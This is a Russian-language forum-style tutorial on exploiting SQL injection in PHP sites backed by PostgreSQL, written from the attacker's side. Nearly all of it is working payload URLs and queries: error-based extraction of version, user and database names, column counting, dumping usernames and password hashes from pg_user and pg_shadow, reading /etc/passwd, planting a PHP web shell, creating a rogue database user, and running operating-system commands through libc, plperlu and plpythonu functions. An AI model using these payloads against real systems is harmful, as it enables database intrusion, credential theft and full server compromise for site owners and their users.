SQL-Injection в PostgreSQL
::Ошибки::
Итак, мы подставили в параметр кавычку, и что мы видим? Вот типичные ошибки, с которыми мы будем работать:
Код:
Warning: pg_query(): Query failed: ERROR: syntax error at or near "\" at character...
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" at character...
[Warning] pg_query(): Query failed: ERROR: unterminated quoted string at or near "'" at character...
Warning: PostgreSQL query failed: ERROR: parser: parse error at or near "\" in...
Наличие этих ошибок на 90% гарантирует нам возможность проведения инъекции.
::Комментарии и пробелы::
Пробельные символы можно использовать те же, что и в MySQL, а вот с комментариями дело обстоит несколько иначе, в PostgreSQL обрубать запрос комментарием "/*" не получится. Он ругнется на это ошибкой:
Код:
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated /* comment at or near "/*"
так как такой комментарий обязательно должен быть закрыт. В связи с этим будем использовать "--", который закомментирует после себя всё до конца строки.
::Вывод системной информации::
Аналогов команды user() из MySQL в PostgreSQL аж целых 4 штуки:
user
current_user
session_user
getpgusername()
Вывод версии:
version()
Вывод базы данных:
current_database()
Вывод IP сервера БД:
inet_server_addr()
Вывод порта сервера БД:
inet_server_port() (по дефолту 5432)
Выводим необходимую информацию, это удобно сделать одним запросом:
Код:
http://www.site.com/index.php?id=27+and+1=cast((SELECT+version()||chr(58)||current_user||chr(58)||current_database())+as+int)--
И получим например такой ответ сервера:
Код:
Warning: pg_query(): Query failed: ERROR: invalid input syntax for integer:
"PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-9):ed:sedbtac" in...
Здесь версия - это
PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-9)
Юзер -
ed
БД -
sedbtac
Тут стоит обратить внимание на сам запрос, PostgreSQL очень ревностно относится к типам данных, поэтому результат надо искусственно приводить к требуемому (в смысле к тому, который требуется нам=)) типу данных. Это можно делать функцией cast(выражение+as+тип), либо использовать специфическую конструкцию "выражение::тип", которая присутствует там по историческим мотивам). Например
id=27+and+1=version()::int--
Две прямые черты "||" объединяют всё в одну строку, chr(58) - это разделитель ":".
Так как PostgreSQL поддерживает разделение запросов с помощью символа ";", то можно например вывести версию альтернативным способом:
id=27;select+version()::int--
либо
id=27;select+cast(version()+as+int)--
::Подбор количества колонок::
Колонки можно подбирать несколькими способами.
1.Используя конструкцию ORDER BY:
id=27+order+by+100--
В случае меньшего числа колонок возвратится ошибка:
Код:
Warning: pg_query(): Query failed: ERROR: ORDER BY position 100 is not in select list in...
2.ORDER BY за один запрос (способ, который предложил IceAngel):
id=27+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,...
Отнимаем от выведенного числа единицу и получаем количество колонок.
3.Можно подбирать сразу конструкцией UNION+SELECT+NULL:
id=27+union+select+null,null,null,...
пока не исчезнет ошибка.
4.Либо подбирать подставляя цифры как и в MySQL:
id=27+union+select+1,2,3,...
При этом, если число колонок неправильное, то возвратится ошибка:
Код:
Warning: pg_query(): Query failed: ERROR: each UNION query must have the same number of columns in...
А если число колонок верное, так как типизация тут строгая, то возвратиться ошибка о неправильном приведении типов, например:
Код:
Warning: pg_query(): Query failed: ERROR: UNION types date and integer cannot be matched in...
Из всех перечисленных выше методов рациональнее, конечно, использовать конструкцию ORDER BY.
::Системные таблицы::
Подбирать колонки мы научились, осталось узнать как, и собственно, откуда выводить.
Рассмотрим полезные системные таблицы в PostgreSQL:
1. pg_user
Поле****(Тип)****Описание
usename (name) - Имя пользователя
usesysid (int4) - Id
usecreatedb (bool) - Может ли пользователь создавать БД
usesuper (bool) - Имеет ли пользователь привилегии superuser
usecatupd (bool) - Может ли пользователь вносить изменения в системные таблицы
passwd (text) - Пароль (здесь содержатся звездочки "****", а не пароль, по сути такая же аналогия как и в /etc/passwd и /etc/shadow)
valuntil (abstime) - Время истечения аккаунта (имеется ввиду, сколько живет сессия юзера при использовании аутентификации паролем)
useconfig (text[]) - Дефолтная сессия для переменных конфигурации во время работы
Как мы видим, информация из этой таблицы носит скорее информативный характер, так как пароль содержится в другой таблице:
2. pg_shadow
Поле****(Тип)****Описание
usename (name) - Имя пользователя
usesysid (int4) - Id
usecreatedb (bool) - Может ли пользователь создавать БД
usesuper (bool) - Имеет ли пользователь привилегии superuser
usecatupd (bool) - Может ли пользователь вносить изменения в системные таблицы
passwd (text) - Пароль
valuntil (abstime) - Время истечения пароля
useconfig (text[]) - Дефолтная сессия для переменных конфигурации во время работы
Именно из pg_shadow мы можем выводить пароли пользователей БД (аналог mysql.user), но чаще всего доступа к этой таблице нету.
3. pg_database
В этой таблице, нас интересует только одно поле -
datname, в котором хранятся имена доступных баз данных.
4. information_schema.tables и information_schema.columns
Тут всё стандартно, те же имена полей (
table_name,
column_name,
table_schema...).
::Вывод информации::
Вот и добрались мы наконец-то до вывода, касаемо конструкций тут всё схоже с MySQL и MSSQL, например, чтобы вывести имя таблицы из information_schema.tables нам потребуется сделать, к примеру, такой запрос:
id=27+union+select+1,table_name,3,...+from+informa tion_schema.tables--
А вот для того, чтобы перебирать значения полей, просто limit+1,1 тут не прокатит, необходимо использовать следующую конструкцию:
id=27+union+select+1,table_name,3,...+from+informa tion_schema.tables+limit+1+offset+1--
При этом перебираем мы тут параметром offset.
Если требуется вывести имена колонок конкретной таблицы, делаем стандартный запрос:
id=27+union+select+1,column_name,3,...+from+inform ation_schema.columns+where+table_name='имя_та блицы'
Но так как кавычки, скорее всего, фильтруются, то у нас есть 2 выхода, во-первых можно перевести имя таблицы в chr(), например если мы хотим получить название колонок таблицы pg_user, то запрос будет:
...+where+table_name=CHR(112)||CHR(103)||CHR(95)|| CHR(117)||CHR(115)||CHR(101)||CHR(114)
Но в PostgreSQL, начиная с версии 8 появилась очень удобная фича (моя мечта - такая же фишка в MySQL), вместо кавычек можно использовать два подряд идущих знака доллара, то есть сработает такая конструкция:
...+where+table_name=$$имя_таблицы$$
Функции concat() в PostgreSQL нет, конкатенация строк осуществляется с помощью двух прямых палок "||", например
id=27+union+select+usename||chr(58)||passwd,null,n ull,null,null,null+from+pg_user--
Доступна конструкция LIKE:
id=27+union+select+table_name,null,null,null,null, null+from+information_schema.columns+where+column_ name+LIKE+$$%password%$$--
При этом %password% должно быть заключено в кавычки.
Конструкция IF используется только во внутренних функциях, и бесполезна для проведения инъекций, вместо неё можно использовать оператор CASE:
Код:
CASE WHEN condition THEN result
[WHEN ...]
[ELSE result]
END
Например:
id=27+and+1=cast((SELECT+CASE+WHEN+(1=1)+THEN+$$A$ $+ELSE+$$B$$+END)+as+int)--
Такое выражение в результате вернет нам "А".
Можно использовать альтернативный вывод:
id=27;select+cast(usename||chr(58)||passwd+as+int) +from+pg_user--
Но в ответе мы увидим только первую запись, а перебирать их через +limit+1+offset не получится.
::Выполнение команд::
Ну и на последок самое интересное, выполнение команд к БД, для этого нужно иметь привилегии usesuper.
С помощью выполнения команд можно делать всё что угодно, от чтения файлов на сервере, до заливки шелла, были бы права)
В PostgreSQL, также как и в MSSQL, можно разделять запросы с помощью точки с запятой - ";".
Читаем /etc/passwd:
id=27;CREATE TABLE aaaa(b text); /*создаем таблицу "аааа" с колонкой "b" типа text*/
id=27;COPY аааа FROM '/etc/passwd'; /*копируем в таблицу "аааа" содержимое /etc/passwd*/
id=27+union+select+b+from+aaaa+limit+1+offset+0-- /*читаем содержимое таблицы*/
id=27;DROP TABLE aaaa; /*чистим за собой, удаляем таблицу "аааа"*/
Заливаем шелл:
id=27;CREATE TABLE аааа (b text); /*создаем таблицу "аааа" с колонкой "b" типа text*/
id=27;INSERT INTO аааа(b) VALUES ('<? pasthru($_GET[cmd]); ?>'); /*вставляем в поле "b" таблицы "аааа" ядовитый код*/
id=27;COPY аааа (b) TO '/tmp/shell.php'; /*копируем содержимое поля "b" в файл shell.php*/
id=27;DROP TABLE aaaa; /*чистим за собой, удаляем таблицу "аааа"*/
Создаём нового пользователя:
id=27;CREATE USER hacker PASSWORD 'mypass';
Даём юзеру права на создание новых БД и новых пользователей:
id=27;ALTER USER test1 CREATEUSER CREATEDB;
::Создание функций::
1.В PostgreSQL < 8.1 есть возможность добавить функцию из библиотеки:
Создаем таблицу stdout с колонками id,system_out.
Цитата:
CREATE TABLE stdout(id serial, system_out text)--
|
Создаем функцию system().
Цитата:
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT--
|
Выполняем произвольную команду и записываем результат её выполнения в /tmp/test.
Цитата:
SELECT system('uname -a > /tmp/test')--
|
Копируем данные из /tmp/test в таблицу stdout.
Цитата:
COPY stdout(system_out) FROM '/tmp/test'--
|
Выводим данные на экран.
Цитата:
UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
|
2.Чуть подругому через plperl:
Создаем язык, если он не был создан.
Создаем функцию spyder().
Цитата:
CREATE FUNCTION spyder(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;
|
Выполняем команду и выводим на экран.
Цитата:
SELECT+spyder('uname -a')::int--
|
3.И напоследок через plpython:
Создаем функцию spyder().
Цитата:
CREATE FUNCTION spyder(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpythonu;--
|
Наслаждаемся выполнением команд)
Цитата:
SELECT+spyder('uname -a')::int--
|